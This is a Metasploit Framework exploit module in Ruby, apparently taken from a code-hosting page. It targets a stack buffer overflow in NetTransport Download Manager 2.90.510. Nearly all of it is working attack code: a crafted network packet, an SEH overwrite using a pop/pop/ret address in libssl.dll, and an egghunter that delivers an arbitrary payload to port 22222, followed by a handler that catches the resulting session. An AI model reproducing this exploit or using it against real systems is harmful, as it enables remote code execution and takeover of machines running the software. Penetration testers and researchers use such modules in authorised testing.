88 lines
2.1 KiB
Ruby
88 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Egghunter
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in NetTransport Download Manager,
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part of the NetXfer suite. This module was tested
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successfully against version 2.90.510.
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},
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'Author' =>
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[
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'Lincoln',
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'dookie',
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '61435' ],
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[ 'EDB', '10911'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh'
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},
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'Payload' =>
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{
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'Space' => 5000,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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'DisableNops' => 'True'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 02 2010'))
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register_options(
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[
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Opt::RPORT(22222)
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], self.class)
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end
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def exploit
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connect
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magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
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magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
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magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
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# Unleash the Egghunter!
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eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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sploit = magic_packet
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sploit << rand_text_alpha_upper(119)
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sploit << generate_seh_record(target.ret)
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sploit << make_nops(10)
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sploit << eh_stub
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sploit << make_nops(50)
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sploit << eh_egg
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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